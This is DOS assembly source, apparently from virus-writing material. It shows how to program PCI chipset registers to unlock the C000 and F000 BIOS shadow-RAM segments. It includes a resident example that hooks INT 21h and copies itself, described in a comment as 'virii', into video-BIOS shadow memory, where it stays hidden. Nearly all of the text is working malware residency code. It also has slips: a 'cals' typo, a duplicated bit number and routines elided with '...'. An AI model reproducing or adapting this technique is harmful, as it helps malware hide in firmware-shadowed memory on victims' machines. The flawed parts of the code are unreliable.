; ======================== ShadowRAM Map: ============================ ; 00x? xxxx xxxx xxxx sh_R (readable) ; 00x? xxxx xxxx xxxx sh_W (writeable) ; 00x? xxxx xxxx xxxx sh_C (cacheable) ; 00x? xxxx xxxx xxxx sh_X (reserved) ; ; bit 15: unused (0) ; bit 14: unused (0) ; bit 13: F000, 64k ; bit 12: reserved ; bit 11: C000, 16k ; bit 10: C400, 16k ; bit 09: C800, 16k ; bit 08: CC00, 16k ; bit 07: D000, 16k ; bit 06: D400, 16k ; bit 05: D800, 16k ; bit 04: DC00, 16k ; bit 03: E000, 16k ; bit 02: E400, 16k ; bit 01: E800, 16k ; bit 08: EC00, 16k ; ======================== PCI registers manager ===================== read_cf8: cf8_read: mov ax, 8000h shl eax, 10h mov ax, cx and al, not 3 mov dx, 0CF8h out dx, eax add dl, 4 mov al, cl and al, 3 add dl, al in al, dx ret write_cf8: cf8_write: xchg ax, cx shl ecx, 10h xchg ax, cx mov ax, 8000h shl eax, 10h mov ax, cx and al, not 3 mov dx, 0CF8h out dx, eax add dl, 4 mov al, cl and al, 3 add dl, al shr ecx, 10h mov ax, cx out dx, al ret ; ======================== ShadowRAM manager: ======================== sh_R equ BX sh_W equ CX sh_C equ DX sh_X equ SI seg_all equ 0010111111111111b seg_F000_64k equ 0010000000000000b seg_C000_64k equ 0000111100000000b seg_C000_32k equ 0000110000000000b seg_C800_32k equ 0000001100000000b seg_C000_16k equ 0000100000000000b seg_C400_16k equ 0000010000000000b seg_C800_16k equ 0000001000000000b seg_CC00_16k equ 0000000100000000b seg_D000_64k equ 0000000011110000b seg_D000_32k equ 0000000011000000b seg_D800_32k equ 0000000000110000b seg_D000_16k equ 0000000010000000b seg_D400_16k equ 0000000001000000b seg_D800_16k equ 0000000000100000b seg_DC00_16k equ 0000000000010000b seg_E000_64k equ 0000000000001111b seg_E000_32k equ 0000000000001100b seg_E800_32k equ 0000000000000011b seg_E000_16k equ 0000000000001000b seg_E400_16k equ 0000000000000100b seg_E800_16k equ 0000000000000010b seg_EC00_16k equ 0000000000000001b get_sh_state: mov di, 0059h @@1: push cx dx mov cx, di call cf8_read pop dx cx mov ah, 2 @@2: shl al, 1 rcl si, 1 shl al, 1 rcl dx, 1 shl al, 1 rcl cx, 1 shl al, 1 rcl bx, 1 dec ah jnz @@2 inc di cmp di, 005fh jbe @@1 ret set_sh_state: mov di, 005Fh @@1: mov ah, 2 @@2: shr bx, 1 rcr al, 1 shr cx, 1 rcr al, 1 shr dx, 1 rcr al, 1 shr si, 1 rcr al, 1 dec ah jnz @@2 push cx dx mov cx, di call cf8_write pop dx cx dec di cmp di, 0059h jae @@1 ret ; ======================== Example =================================== ; Enable write to segments C000 & F000 enableC000F000: call get_sh_state or sh_W, seg_C000_32k + seg_F000_64k cals set_sh_state ret ; Disable write to segments C000 & F000 disableC000F000: call get_sh_state and sh_W, not (seg_C000_32k + seg_F000_64k) cals set_sh_state ret ; ======================== TSR in ShadowRAM: Example ================= ; to compile: tasm /m filename ; tlink /t /x filename .model tpascal .386 .code assume ds:code locals @@ org 100h start: mov ax, 0c000h ; check if alredy resident xor cx, cx int 21h jcxz @@1 @@exit: int 20h @@1: mov ax, 3521h int 21h mov word ptr old21 + 0, bx mov word ptr old21 + 2, es mov ax, 1130h ; es:bp = pointer to font 8x14 mov bh, 02h int 10h mov ax, es cmp ax, 0C000h jne @@exit add bp, 15 ; convert ¢ es:bp to Cxxx:0100h and bp, 0fff0h mov ax, es mov bx, bp shr bx, 4 add ax, bx sub ax, 16 mov es, ax mov bp, 100h call c000_enable ; enable C000 mov di, bp ; es:di lea si, start ; write virii to memory mov cx, codesize cld rep movsb call c000_disable ; disable C000 mov ax, 2521h ; set our int push es pop ds lea dx, int21 int 21h int 20h ; yes! ; ========================= Another way of ShadowRAM management ======= f000_enable: mov cx, 0059h ; f000, 64k mov bx, 308fh ; warning: last 16k used by QEMM ! call cf8_io ; ret f000_disable: mov cx, 0059h ; f000, 64k mov bx, 108fh call cf8_io ret c000_enable: mov cx, 005ah ; c000, 32k mov bx, 33cch call cf8_io ret c000_disable: mov cx, 005ah ; c000, 32k mov bx, 11cch call cf8_io ret cf8_io: cli call cf8_read and al, bl or al, bh call cf8_write ret cf8_read: ... cf8_write: ... ; resident part tsr: nop int21: cmp ax, 0c000h je axc000 db 0eah old21 dd ? axc000: inc cx iret codesize equ $-start end start